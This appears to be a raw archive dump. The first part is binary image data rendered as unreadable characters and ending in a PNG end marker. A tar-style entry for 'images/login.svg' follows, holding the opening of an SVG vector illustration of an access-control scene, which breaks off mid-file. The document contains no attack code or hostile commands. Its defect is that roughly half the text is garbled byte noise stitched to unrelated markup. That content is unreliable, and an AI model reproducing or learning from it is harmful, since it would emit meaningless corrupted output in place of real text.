�\]��f`����{�>��S�?��>t�����͵O��C�'�}����N�>wg�-B�ԹS���N�s��),�F�;u8k>S�Ă�Q^ѩ�o���b�	�.Br�E�#�$�P���ȬIvd�c]����O��=��o���u�}��g�B�c`r�f[�!P�h�D���=p�J�̝	*੬�P׹�Q����=A|2)c���)	�Y��uU����&%jU��eYuZ7�D�^3S����{��x������g?��:H�f� I�>�jN��l�)p�=:wX�^pm�W�L��)�f�kM�p?��8��
p�hq���E�;��(�]ʏ����-�х�!`�������N�13�#��i��,"c�A���E�u=��,�ɏ�����ͽñ)L��;���"Qb�)�QƠs��*3%b"�^h�Y���BBU4��Xk�X��PW�{S�C�i2��'c�)����NkBU�QB"�B�"&I���r<��u�3_������g?��:Hr�nL
�L��~4��8�↧�;s�:E"?��δ��'Y#LIr����ܣ����.�Ӛ<�8cM��~t��7QL��&{�7ҏ�8b�
L�U�`�s�Z�I�bff:9��SO<z�_}��kw�|����R��
,��K���-�ݜH�*��ϣ�Ts��AD��	�P-���a�:��x�1�����&央�do"�������� %1���jT4�����ݝ������x�;�&�z��h)i��a:6%N�zfi-.�X�֩��hy���uN�T[�lL�r;R#�8M�y��Pz��*�v!?��ˎ�O�(f��;�0k��R.m$*��8a��}�ɧ{�뷿�߹ug���,���V,i3b��s.�
���`�)v�jD��7Z�T�#U+C�2)KI�`�T�u]G"TMi	b-(Rr�GDL��Lww�v��˿������^E�h-L���ODh9�V�]`.�SsS4n����S{檽����0z_��O�xL-�Q�9G>3m�އ�Z�6t�R
��޴���N, �O'4�
�xz��Z	��4�Z�m2�'����?x��/�s���߽��;�b�C(�\B��!DD�X3w��u�5��4!��R�����)	*R��4�/�!���` �+/�i�~�X������(�_������ߍF�2��d��#�:=�G�dat.�g5
S�;;p&��+�܎X���f�,���`&�v 49�Ot�VS�"�b�ގ;Q586��1eMh&4M�z�NH�2j����W��H��-��X�ݲ��>��O\��ޭ{�߹������%pV`T���Ģ�@TI9p�R����@U�3 �Z5������Ԅ�:iU�R�!64SN�1奁F�63I�a��v���7���W��_E�2��Q�!n�>/�$�[s)l]��SC<K,���"�)�l�+�zn��S8�Etwj�ܣ󚡒R����uK��ب,��7z�T����:w4��,��TKǒ)\�1$������5~yj�'3B�:�P՞�+箞[�-/_����{7n��(>�|�	�����}�)�$M&���⨟�"�#0�բh�H�P�DSSG�J��d�H$�*ʄ�6������?�um�J�!� ��(������&aQ{��,��v��3P[��F��|��=�izݝ�m��No���MVk�nL_��LjH�!��'��5�5�|��
R*i��I�[��uz\L("*��(�h���'�p������ݽwn��D�p8^^^I�Lѐ�
TD�UM	R̬ ���h�jh�b FBT5&03�&�&e�n>��6q"fv�ν�3�����O����A�;6��g�n{�wΌ�,��Mm�y�C�u�rSHZ�u�,8���1��d�FS����#�ԞάKr5}R"03L`4��D����~�u�i��-�z.f	٪��.{\�Xy`m���;�������+��s#��+�h�&ر�j�3P0�F�D�9����F53%$��Gfbh�������}�����g���3�Q�n�ǥe��
Т��78F�T�O�a|q^@S����;���c�8�����4Wop���dO]��Qh8���[wb_���b%4L:�<��3��(��4k4��h�p�Ǽ�Z4 `d'-F�b&�C^�7�X�>8�w0�spxk{��*�3"���FPBM/��v�(�2���!�Fi�i#�Irf2u*�0FJ��?��s����|������L-SчE�Z�?�.�̎��O}���xj��=qQ[��C��<��K/��'�8ʹ?�9@2�P��M{�0R���f@��l.���&,���Q%X�CT�@�d�E�̒ǰ��R0P!SAP2P���3��>�{f靻7v��(�I�@�(�44����%A	�+ьE��Q�P�L4jtȪ����l0�X����������Ϭ�uP�x�#��5�N���)��&��&1�q�CG}f	��X̪A�c=w�f�\�<�aѽ���R�ν�4��}�,
�8�_���cfG��n��k���)iH�+ R4�6��DDb����,�c��'9���iXЖv�67E�P$WGti�qgctc{w��vU$3	j�=�SUb�4/HҪ/�Bj���(e��5�c��V���>���_���s?��._�qYC�iiK�(����_����:��ck�S�u�v�{������ک*ɞn��6CtgU'��nGsю9h�'^����P�2�����w�����>�(1US��W����!*���(�̬�x���~PU4l|/-%VDTo��L����L%R��W��IUG	��H�EATHjT4C JĦ5[@"ĕ�ϗ.]z򩧾���?���G��Z�|DM�,�f����s�;�!�璏F�M/�p��ߟs'�|��¼���:�����m���AZ�%a%��9���Ή���ZSV�@
ԹbX,ջ�������G?�����|�`{Gb�c��#"j1�MDS,Kc���=0Si5�p̪��&���MрX�"XD�t���A�g�k�� $��XG���K�@���Y�S���љ��/\z��}��O�|mm���^Z^J�
Q�4E���,D��&�K�T؞�pQ�K&O8tB��;w�?{���i
}_�9���;��O����,!?��G?;j���FS�i1�w^x�������mtn��O>U5	!hP��B�Tc�:JL���k!��]K�4Fr��>H�V����@��8����ʊ(jH1UK��Cv)'^!�H�\�(s����2-��և��^���O���k+�$T��SZ/����^����H���bj&�;�"l�"sѲ���m�T��YӀ�6��t��9׎=�Oq)'����
��	ϩ�w� �7����~���z�+$���_:w��{��MƓ���("Q$H
M֞�Z/��]�qKZ�捬
*l��dU�d�1T%�D��5�55������� ��y������pX�G�p������[٠H$���Z���������?�����>���,B�Q��]de\�쉈n�w�c
�S��#O�^�ڦ��l�j�fTBW/�PMУφN�{���G�����^�\'���ˏ}�O��V��dh!���_G�(E%j��b"������;��@��!�M��D h����T��h@�ʫX��oJ:GL��ex�%)�U��� �N�/�~�>^i9��φvKP�[��)���j�)��Ƿ/��)�����<�v�
gO>��8%�=��,����"h�6K��d����]^{�o��?�����.g��X~���.<t�����Q0
�@�$DM��ӑJ���҇��c��Z-q�D�����=j�-��
[�������y��̳s�9�K��R�pHO��T@�v�6�My.�;�S���=S�����4V�Y�|�S`�?t��n�^��?�i�lC��	"�u��+!&�-�()s.�Ɠ{7n]���o�+{TR�ft��X,=��3e��ݥ"w���F�:�CP�"Q��pUK����XؠՎ�z�
�IYhؤ�k�7A;z�zVG59�2�޻̻<a�٥�l�Ƅ�`f���X��75A�ٔ�vl;с桻o�G��>������E�넳���?����Sv>�g������F��`@�;�����w��7w��サ��>��N(c8{��W�ں�H�+�3FPQ�BK�C�)�#��������D�~iJW�z��&=�Z�尣Whf���i�
�Iu	)�s�e�e�{�1��De�h��rgf�jA�� ��p2��I�f
�Y���"�b�p���E�O���;��z�@����}�{��ΐ��}�
��;�9�ww���sp�N�}G'�
��M��n��Ï�����lPX��y�Rؓ����b�"Q%F�1ƣ��i�z��R����j^Xr�l���Hq|E"J����T~�55?�s�{����31�yr��{�|�%?Z:������pEF��
��n:����}��<��0��1����`z�@���XY�p6Ê�;���f7�uhŜc��m#{�[���z���^ٿ{#�o�d�Á���� ���K�g�l߫C����,����@�bT�1��Qk`֊�	Ϣ����M�,�@�y��>��R� 3"aJc-�}*��w�#��ЀH�a��ݛ�g����ͳW\���<��SWYZ_VºY"�|�ߖ��+���:�w���s�}����p���B
ݍ�,�G�¦���"�y����p"S��n�~��W��}G��Y5�86��"�c�p����Gh�`�!�rB�T���Q�m��Is�Ơ�ɘSJ��5�z��,�G�L�z�G�
��]b��gN�w�D�\���9�'X�Ž�R�h���m�o\�����;o�|�����x�����'?�t�A�2�h=���/�V��G�o��3�k��}�;u��Yѿ�}��X
��Y�!��?���<���f>S�1禊Ğ0;�?���Wo��R�}K�!�c�H#���w��4��.$� �Kn��3 �E���Hk	��%J�) �R���f`r�k���
����6�ʰ����'gg$@DF`4f r�yO)Y�s�\"�ȌH�c�j�{�{�{e,9��˥q���r���7�_���=��/\���.>��U�DfS�)cr�PQ�:ŭ $�h��YLi�:�63��t�O�v"ה��g�̽����	p�t���A1�ؠ�����u��5W��*�`�,����*�
s_��pw�	�92Q��,�� D��V-B�
���SE[l`ܩ>�0h\�A�<��U�7�#110�sL�P��q���9&G
S��g��$�����V�XG˃.׶Q���o�xa�߽���8���
h��8srx:J.j)_��l��ː4���Dw�Y�Fyѡ�E��vr��Q�'�Z778
�[^b��ҍ�?e�0;
���W~O�og����"H�h!�<!�!�xR��Df�s�1�
'M��@� �j*��d�f�M���I�@ME���!ݐ���t��������D�	�u fN����LLmr�#Dqksso\��25B�(X�%�Z�nm	�L�[�On_�{�[?�S+O|���ie�Ԁ�D��T��4�Y�:�Ou��3OC�g0��޷Y�C�}��X��9�B�
�y�U�k3X��Gi�D��_�����d{�{%MA�#H��B��
���9�{�o.72� �;fPa琉M$Z���+1F0m��&�x��4���Z�EHu����8$f����M�LL��-��@�9�=5$B$H+�RY�����>SFԓs��K��㉺)ֆ�vp��/޻q�����s����Ġ�܇.��7ј�ȫE���>G;;溡����޽����J���3e�"�v�7c�i�!O'�~33��������û��7TB5�
1Ԉ�Q���,�V��7>Hy/T4���{B�,ϐ	��4i�(ǡ6
:MJ�VY����I�-A�h��8��}���A�����s��G�n��@� ���c������$�@h�l�AF��j��%r@�b
޽~�+����{?�ˏ?����&I�	]���dI2��S:+8�ڮϢ]8��>��EmZ(�:J_a����?nJp<Z��9л2��]׺>�t��]�ne�������H�b��@�4Ս%�������C$ SU���@�`��R21��t�Y��k�\��vI�j�Fff�bע��:c�r#up��Sd����ԣՄt���@b�3�ܳ��
�A6�p��j�GNs3(F�1�� z�ލ��?�������k�p�7FmTa6-��*��w������9+�ν�,C�?ʿ�+�z�j8���C��:4�jH�(7Z��M���޽��7`�����-&�H[Y3e�nN$d d�l��,���4
;0Lz��[���]�qUQK�sb34y�7�w�#��6��F�61!#9�>��쒧��L܍1��(�`:2��W�+�ۛB�Di7؁���l
�kZ�T3��{�����z��Q�D��H�@i~@����\�u���yy>���Y�;fo�ם�0�]��<�g�~s�OR�|8ʝ���K���YZ��,"��0��	
	�0g�D�ƂHdJ@D��M���Ƙl(��i�LD��N��d1S4C��h$duR@�Z�L	��L���O5S�k���7Ba##q
�FD"t\,�<��G�޽wpx�C#�D9�c)@Ĺ#�Dj�`@F�{,<ٻVݽn����EH�V�����hě���y��“�m�*m�����/��l�,�N��}|_����uZ����?��)�ً�w��}�54B4%S4i]�Z��h'"&��#����:��G&dbB$h��!9;h��J���̋�����Z{�6̀Y����Z�$�!";rL-v����;f7��T����i�H�}=O.=pyum��7_#�a�y��^e��ȣN�mPr����#ʭ��yE�g���Qj5RT8f!73������b�R
'����S�df��W~�Wa����p"����}{.��DB5\^^YZ{�;/���#2���$N�(�R�^B�l�"�A�D�H��U3E3�T�!�JJ�dm�J�$���S'Nɰ�:CÑc��1	&��s�m���V"���q����R6R "#b`'�Ȋ�O<v��֛���3���xX�i�sfHfJf.yBC���q2m��b��U{�F��B�����M�n��:
X�ԓ�z��~���~6��Ř��=�l�֏X9��8aOz2�C}��c��ݛ���bB5�&���vbJ������<�1�K@�T�N�
,�Ȓ����v�F:�F%<���|��%�SQ �#r�39v޻ƄҺ"%f�~���������b������������-"�d��&�z^΀�;�����9�(;�T�ۼ~������e(f�hW��$��"ѭcE�5�
�{�{��/��"V���Cs}�ڔ�x�b�?D��2�^����/k�}+�D	��-��.�`Ɯ�M�abp���$31�CH6BC@M�1��a�����&.'Qb4�fz4�D��7"9$�̘[��zl�km��F�ݝ�)�%%rN�lo��R��z�ʕ����מW5S!&GN��ZJn�%�7��E	*P&���M�~	�Kf���bK
�5l.�0�@��Bw<�"�{.-?%i�_����D�9����W������<��{[/_�Iu��o9��h|� �;Y�FD�~��H����~�h���+'6Q�ָ���hG�@S`�aS��eq[
���R*P"v�X����Yc���Lގ��_��ץƑ�a�ٳ�޽��G����9�άo��W����+��3{&ܩD��T (��$�D����wr��oV.�Һ4>��P�c�H+rd�$sn8N�p^ư��)������A�*��Лg�Gg{.zJD�.f���`TW�����+��l�>��#7�y�ܽ�#����6Lh�z�D>��1#�aY�UE�;d�H�p��1�+H"�Q���<O���ɹ�q�vAM���5lg��O��Q��9�[Ui�ČC��@B"�f7o�så3/�����/������̑#U7.ˁ���#!3��"�#�ЈA�����띻��mD3�
�q�M*�N(�/."�s7ˁ��wZi6{��۝���M X�E<�,��h��ҿW*
�fWD�uow���}p���K/�?wf��޵7Pc�hoF��V&�LF&`�"�w�h葙��)�„
���Ֆֶn�-AFĖhH�����=3�$�1:��q�{�IR �k(t��QK����M@�"m��p�v�<1�����k�����7r�rc)�����4�H�V���م�n�soe�[^/%�pbGD��8������=�P~�v��y��G�,�1�����屝�I���.R�J���7������7���ѫ�ܺ.�B�v�OW�I���IBBp6Ȝ�L;N�O}2[,u��qvk��V-L��<�C2Q�	�#rL��K�|�3�\Rtp��F��:��U��At��h�\6��x�A�w^{]$!�e�� �C,�6
�P1	)]%"3��);��Vu��~��O�aR�Ft�����l�y"ڔ�\{��!�d�|����
��Z0կ#�S��ԅ�H��Կ�AW�@͌���<��0c�c���������+��������-�V,�8͆��_���͙!�s�Ü�+��<��jw�X뱉���8J OwJ'�f�05^!
�@䓿�CǍ��Kzgf��D���z�`���9��a
+
���Q��"朻w����	����I�ύ܀�3cdHzj�2dHƌ���/\z���q]���z�'h.gu|�z�L�A�v��p�v�m���O�n�wj��.�@����lf���H�"��)#zQ�T��{;{�{{��r�`7�h�u�7�߻s����s���0�{�A� Y6Z�<@B#C`304�ֹ�9>vv���� 2�#bF��.���Z�Z�:3�N+����G���!qC��e��%�"9��)C-�A�81���G�Liw|px0.V�@������x�k�ۻl.QV�4�xR�.m�q!�#5Q��P�U��T`<x�[78�?Õ��D"ԞP�0�iLq��s���
��F���S��s�?����߿7��L��$�cD]���ZM��K��O�ܾ{���;[�dBB]M&e9�L�{��!L�����<��ٍ��w=�%;7���L9�������K���mN45���@�0�>�!���V���Bdj�!�I�����Ha����﹅3sÅ���RŽ&M+('*�	���$��5�����}�G��͗LM�V��s����axh��-
H�BH���1�6j����|�qytg�`�?����E���	m�ēO9�X8��n��.z�E�̛�z��>�۪Rw��~]�uYV��������AU�T%�:�:j43�c�ҷ^���$ߺ��=v-�L
1e^!@��������s��-��0��i�I���*�F/��ԭ�h@���D�	��p��,zlF�LG� 4\|2d�L_�9&�<N�Jk[�cP��h���߿~��{�ID�;���b?�F]/R�0U�1�:�Z��1�c�&��}-c|�R�F[�{�@5�CB�y7٧Gd��C�ѥ���ڿ�Z�o������ZU6�� wdXUABL�٫����b�b�\.���o��}�<���>�:`3U bhX���U��e��,�Wrq���7L~�i�����'�\���k��]&#$j�R�ck��:�rsv옑8�����K��̲�wg5���;��I�C'������W�\���1�(&�s��d;�չ���P�$!�Ca$$C����3"��+_��_��<�=8L��FX�c9����)6c.�f����c�v\�6��8�ZG�Ǵd٬�9"��u���������3ﳥA���v�cEj�"�`H�3_dd;��W_~�g>���5TCn����ň���Iؓ�P���M�3206~c�ƞU�:c~�A��#cr�^��8���;����G�C��==$v���<?�k	�9�eY]�%�م�g�n޽}�N��=94�4���d��T��D,Ds$�82#�K�c}��/#�_��,-o@c~�"����pz�y����Ztʢn�(t�3^��Y2lf��N�n��#�`���?�W��o���׮_�X_{��G�G�A���l\y�l�]{�ݪ
`;���P������'��L���(�5�(n���f�&z�M��"F�h�v^�>Gt��萏t�
�N/��<P� �zD��
��[}sTب���1���Yw�5�$�8"�<��!9��.�s�3\][�p���VU��)� D�Ɔ�@b@jQ$(8�1RJ)G"44����_�0��=��x�fH�(�	}�9�(��`/�"�/B�����6]�b.�g�Ͽ:6ZLh媮y�������}�W�|��~���G�l�K��6w�z������g>��>��3���d\2a�3�/2������#������4QPl��SO�]�@"G��k#	Qw+6琍�4���m���{�sN��-��&$b�#�\��+�6L�v(L����ע�s�(Ui`�<���`X�A�4�?�v���ֽ*D1SDvDf1�) �)�Ae�-�[`��ȍ���I�.��Н�W���YLv*�>��8CG��x��!�H���4��_�eh9´�$��M�L'�{�đ�h��[����������}��+khy�ml�]�t~kk����ŋ�/��ܼ'1�*"�TA�wv�~�1'ZOR�t�|v6�d�k�D�*�38Rf�13��u�ĝ�-�s�p	�=�v�Em�`��U4��[�����cmPlÁsri�Ƀ��g�rR)�eh �`C������dw� ��9��(�=|��bb��$J�N�&dDB�H�'��w��W�p1�MU����/M~Zff�����~Z�;�=�s����{��S�����<=��W"�q�7�IJl�]��SO����`�oݻ���[WHD��{6̋+/Z(_z�ō�W��v��Y**H`hZ+l����_:3��r����[r����N�
�
�1WCC/���ZN�$ff>�r��]sޥ�I��̃�cp�޻�̾�%��GƔ���VMB��3��42QڥqRGwf#sCR20�C]U�q��8)'[� 1�9g�Ġ�$�vb2c��l�������^���<�b��P��(5�p}�P1��,�qz����ݗd�%�}f���2�cلn4�Q����`uym��4Z
��wn��Y��F��|�$z�������o�;w�����4�Ɠ�&ey0�|��G��5-	�Ѡ5,&��͠D~Z�rk�f��X�z�!;G�cnʍQ�B�B����I�#�x�;��q�Kfv��3��Z��������a"��#�䰱��x|�-o��2�b
���aU��	� ���!�;�%f,�@��nI�,�D�F���!1A�'�vf�A䡤bbI���+[�\$sl��i
�}5�ZZd�ck��-	�2�o�@9�IEND�B`�images/login.svg000066600000043762151150443020007655 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1814.821" height="1712.075" viewBox="0 0 1814.821 1712.075">
  <g id="Sandy_Bld-02_Single-06_Converted_" data-name="Sandy_Bld-02_Single-06 [Converted]" transform="translate(-348.583 -376.585)">
    <g id="Illustration">
      <g id="Access_control_system">
        <path id="Path_192" data-name="Path 192" d="M2116.82,1228.56h-18.38a169.189,169.189,0,0,0-6.98-26.04l15.91-9.17-31.1-53.78-15.94,9.19a171.63,171.63,0,0,0-19.08-19.05l9.21-15.92-53.88-31.05-9.18,15.88a170.633,170.633,0,0,0-26.09-6.97V1073.3H1899.1v18.35a169.789,169.789,0,0,0-26.09,6.97l-9.18-15.88-53.88,31.05,9.21,15.92a171.6,171.6,0,0,0-19.08,19.05l-15.94-9.19-31.1,53.78,15.91,9.17a170.344,170.344,0,0,0-6.98,26.04h-18.38v62.1h18.38a169.2,169.2,0,0,0,6.98,26.04l-15.91,9.17,31.1,53.78,15.94-9.19a171.619,171.619,0,0,0,19.08,19.05l-9.21,15.92,53.88,31.05,9.18-15.88a169.463,169.463,0,0,0,26.09,6.96v18.35h62.21v-18.35a170.913,170.913,0,0,0,26.09-6.96l9.18,15.88,53.88-31.05-9.21-15.92a171.6,171.6,0,0,0,19.08-19.05l15.94,9.19,31.1-53.78-15.91-9.17a170.33,170.33,0,0,0,6.98-26.04h18.38v-62.1Zm-58.5,81.19a128.959,128.959,0,0,1-77.9,77.76c-113.86,40.63-219.06-64.37-178.35-178.03a128.959,128.959,0,0,1,77.9-77.76C1993.83,1091.09,2099.03,1196.09,2058.32,1309.75Z" fill="#f5f6fa"/>
        <g id="Group_99" data-name="Group 99">
          <g id="Group_97" data-name="Group 97">
            <g id="Group_96" data-name="Group 96">
              <path id="Path_193" data-name="Path 193" d="M1722.2,1978.15H992.09L1374.07,597.64h730.12Z" fill="#a2bfe5"/>
              <path id="Path_194" data-name="Path 194" d="M1672.67,2060.67H991.46c-20.46,0-37.69-7.84-48.52-22.08-11.45-15.04-14.45-35.25-8.46-56.88L1322.21,580.44c11.97-43.25,56.82-78.43,99.99-78.43h681.21c20.46,0,37.69,7.84,48.52,22.08,11.45,15.04,14.45,35.24,8.46,56.88L1772.66,1982.24c-11.97,43.25-56.82,78.43-99.99,78.43ZM1422.19,504.01c-42.33,0-86.32,34.53-98.06,76.96L936.4,1982.24c-5.82,21.02-2.93,40.6,8.13,55.14,10.45,13.73,27.11,21.29,46.93,21.29h681.21c42.33,0,86.32-34.53,98.06-76.96L2158.46,580.44c5.82-21.02,2.93-40.6-8.13-55.14-10.45-13.73-27.11-21.29-46.93-21.29H1422.19Z" fill="#639ce6"/>
            </g>
            <path id="Path_195" data-name="Path 195" d="M1875.63,1289.39H1214.77l156.04-563.94h660.86Z" fill="#f5f6fa"/>
          </g>
          <path id="Path_196" data-name="Path 196" d="M1551.51,1895.76H1124.26l31.92-112.46h427.25Z" fill="#f5f6fa"/>
          <g id="Group_98" data-name="Group 98">
            <path id="Path_197" data-name="Path 197" d="M1727.93,1557.11l6.01-22.16-325.9,1.82-12.02,44.32,325.9-1.81Z" fill="#f5f6fa"/>
            <path id="Path_198" data-name="Path 198" d="M1703.42,1523.79l-113.06.63,5.68-20.95,113.06-.63Z" fill="#f5f6fa"/>
            <path id="Path_199" data-name="Path 199" d="M1691.36,1460.56l-83.82.47,5.68-20.95,83.82-.47Z" fill="#f5f6fa"/>
            <path id="Path_200" data-name="Path 200" d="M1711.94,1492.37l-113.06.63,5.67-20.94,113.07-.63Z" fill="#f5f6fa"/>
            <path id="Path_201" data-name="Path 201" d="M1462.77,1465.16c-37.91-51.77-122.26-51.3-188.4,1.05s-89.03,136.76-51.12,188.53,122.26,51.3,188.4-1.05S1500.68,1516.93,1462.77,1465.16Zm-175.56,135.68-29.59-40.41,51.63-40.86,29.59,40.41Z" fill="#f5f6fa"/>
          </g>
        </g>
        <g id="Group_105" data-name="Group 105">
          <rect id="Rectangle_30" data-name="Rectangle 30" width="454.63" height="272.8" transform="translate(478.22 789.26)" fill="#a2bfe5"/>
          <g id="Group_101" data-name="Group 101">
            <rect id="Rectangle_31" data-name="Rectangle 31" width="241.2" height="191.75" transform="translate(507.73 870.32)" fill="#f5f6fa"/>
            <g id="Group_100" data-name="Group 100">
              <path id="Path_202" data-name="Path 202" d="M737.18,906.88H519.49a1,1,0,0,1,0-2H737.18a1,1,0,0,1,0,2Z" fill="#a2bfe5"/>
              <path id="Path_203" data-name="Path 203" d="M737.18,935.66H519.49a1,1,0,0,1,0-2H737.18a1,1,0,0,1,0,2Z" fill="#a2bfe5"/>
              <path id="Path_204" data-name="Path 204" d="M737.18,964.44H519.49a1,1,0,0,1,0-2H737.18a1,1,0,0,1,0,2Z" fill="#a2bfe5"/>
              <path id="Path_205" data-name="Path 205" d="M737.18,993.21H519.49a1,1,0,0,1,0-2H737.18a1,1,0,0,1,0,2Z" fill="#a2bfe5"/>
              <path id="Path_206" data-name="Path 206" d="M737.18,1021.99H519.49a1,1,0,0,1,0-2H737.18a1,1,0,0,1,0,2Z" fill="#a2bfe5"/>
            </g>
          </g>
          <path id="Path_207" data-name="Path 207" d="M1016.485,394.85l-237.6,214v453.21h475.21V608.85Z" transform="translate(0.19)" fill="#f5f6fa"/>
          <path id="Path_208" data-name="Path 208" d="M1254.28,592.08a.961.961,0,0,1-.67-.26L1016.58,378.93,779.55,591.82a1,1,0,1,1-1.33-1.49l237.7-213.49a1.008,1.008,0,0,1,1.34,0l237.7,213.49a1,1,0,0,1-.66,1.74Z" fill="#438ae8"/>
          <g id="Group_102" data-name="Group 102">
            <rect id="Rectangle_32" data-name="Rectangle 32" width="141.38" height="210.38" transform="translate(1040.5 808.38)" fill="#a2bfe5"/>
            <rect id="Rectangle_33" data-name="Rectangle 33" width="102.5" height="210.38" transform="translate(1595.56 973.6) rotate(180)" fill="#a2bfe5"/>
          </g>
          <rect id="Rectangle_34" data-name="Rectangle 34" width="185.21" height="181.72" transform="translate(818.15 808.38)" fill="#a2bfe5"/>
          <rect id="Rectangle_35" data-name="Rectangle 35" width="394.66" height="52.08" transform="translate(818.15 737.19)" fill="#a2bfe5"/>
          <path id="Path_210" data-name="Path 210" d="M1212.81,710.48H820.34V606.75l196.29-177.47,196.18,177.47Z" fill="#a2bfe5"/>
          <g id="Group_103" data-name="Group 103">
            <path id="Path_211" data-name="Path 211" d="M909.48,702.86a1,1,0,0,1-1-1V536.37a1,1,0,0,1,2,0V701.86A1,1,0,0,1,909.48,702.86Z" fill="#fff"/>
            <path id="Path_212" data-name="Path 212" d="M1123.68,702.86a1,1,0,0,1-1-1V536.37a1,1,0,0,1,2,0V701.86A1,1,0,0,1,1123.68,702.86Z" fill="#fff"/>
          </g>
          <g id="Group_104" data-name="Group 104">
            <path id="Path_213" data-name="Path 213" d="M909.48,702.86a1,1,0,0,1-1-1V536.37a1,1,0,0,1,2,0V701.86A1,1,0,0,1,909.48,702.86Z" fill="#fff"/>
            <path id="Path_214" data-name="Path 214" d="M1123.68,702.86a1,1,0,0,1-1-1V536.37a1,1,0,0,1,2,0V701.86A1,1,0,0,1,1123.68,702.86Z" fill="#fff"/>
          </g>
          <path id="Path_215" data-name="Path 215" d="M910.75,985.04a1,1,0,0,1-1-1V815.2a1,1,0,0,1,2,0V984.04a1,1,0,0,1-1,1Z" fill="#fff"/>
        </g>
        <g id="Group_110" data-name="Group 110">
          <path id="Path_216" data-name="Path 216" d="M1932.96,1236.39H1042.77l180.14-651.02h890.18Z" fill="#363e44"/>
          <path id="Path_217" data-name="Path 217" d="M2027.27,690.07H1247.76l11.53-42.25H2038.8Z" fill="#f5f6fa"/>
          <g id="Group_107" data-name="Group 107">
            <path id="Path_218" data-name="Path 218" d="M1915.77,901.74H1208.29l31.81-114.81h707.48Z" fill="#438ae8"/>
            <g id="Group_106" data-name="Group 106">
              <ellipse id="Ellipse_4" data-name="Ellipse 4" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1242.019, 847.013)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_5" data-name="Ellipse 5" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1318.065, 847.025)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_6" data-name="Ellipse 6" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1394.109, 847.021)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_7" data-name="Ellipse 7" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1470.154, 847.023)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_8" data-name="Ellipse 8" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1546.19, 847.015)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_9" data-name="Ellipse 9" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1622.236, 847.017)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_10" data-name="Ellipse 10" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1698.282, 847.03)" fill="#f5f6fa"/>
            </g>
          </g>
          <g id="Group_109" data-name="Group 109">
            <path id="Path_219" data-name="Path 219" d="M1868.21,1074.41H1160.73l31.81-114.8h707.48Z" fill="#438ae8"/>
            <g id="Group_108" data-name="Group 108">
              <ellipse id="Ellipse_11" data-name="Ellipse 11" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1194.459, 1019.697)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_12" data-name="Ellipse 12" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1270.505, 1019.699)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_13" data-name="Ellipse 13" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1346.541, 1019.701)" fill="#f5f6fa"/>
              <ellipse id="Ellipse_14" data-name="Ellipse 14" cx="29.55" cy="22.47" rx="29.55" ry="22.47" transform="matrix(0.779, -0.627, 0.627, 0.779, 1422.587, 1019.703)" fill="#f5f6fa"/>
            </g>
          </g>
        </g>
        <g id="Group_121" data-name="Group 121">
          <g id="Group_114" data-name="Group 114">
            <g id="Group_111" data-name="Group 111">
              <path id="Path_220" data-name="Path 220" d="M1019.98,1034.53c-.42,0-.83-.02-1.25-.05-5.81-.48-10.97-4.18-14.54-10.43-3.5-6.12-5.05-13.99-4.38-22.16,1.41-16.99,12.19-30.02,24.03-29.04,5.81.48,10.97,4.18,14.54,10.43,3.5,6.12,5.06,13.99,4.38,22.16-1.36,16.39-11.44,29.09-22.78,29.09Zm2.59-59.73c-10.31,0-19.5,11.91-20.77,27.25-.64,7.76.82,15.22,4.12,21,3.23,5.66,7.84,9.01,12.97,9.43,10.79.89,20.56-11.32,21.88-27.21.64-7.76-.82-15.22-4.12-21-3.23-5.66-7.84-9.01-12.97-9.43-.37-.03-.74-.05-1.1-.05Z" fill="#363e44"/>
              <path id="Path_221" data-name="Path 221" d="M1014.91,997.79c3.9-46.49,2.07-73.94-16.44-95.58-24.87-29.09-66.97-26.32-71.36-25.96-2.8.23-42.85,1.06-64.79,34.8-21.67,33.32-17.41,91.05,1.38,125.66l-37.15,85.58c-11.67,25.66-6.98,36.13,18.72,47.78l5.82,2.64a51.15,51.15,0,0,0,67.67-25.37l24.28-53.39c16.93,6.03,31.97,7.15,40.89,1.25,15.98-10.57,26.39-42.66,30.98-97.41Z" fill="#eacfc7"/>
              <path id="Path_222" data-name="Path 222" d="M1040.57,1008.25a.748.748,0,0,1-.21-.02l-82.75-17.94a1,1,0,1,1,.42-1.96l82.75,17.94a1,1,0,0,1-.21,1.98Z" fill="#363e44"/>
              <path id="Path_223" data-name="Path 223" d="M944.35,1094.02a1.089,1.089,0,0,1-.39-.08,1,1,0,0,1-.53-1.31l8.37-19.78a1,1,0,1,1,1.84.78l-8.37,19.78A1,1,0,0,1,944.35,1094.02Z" fill="#363e44"/>
              <path id="Path_224" data-name="Path 224" d="M940.45,1018.01a1.006,1.006,0,0,1-.95-.69c-2.23-6.83-3.55-11.19-4.51-14.37-.47-1.55-.86-2.83-1.23-3.99a1,1,0,0,1,1.91-.61c.37,1.17.76,2.45,1.23,4.02.96,3.17,2.27,7.52,4.5,14.33a1.006,1.006,0,0,1-.64,1.26,1.114,1.114,0,0,1-.31.05Z" fill="#363e44"/>
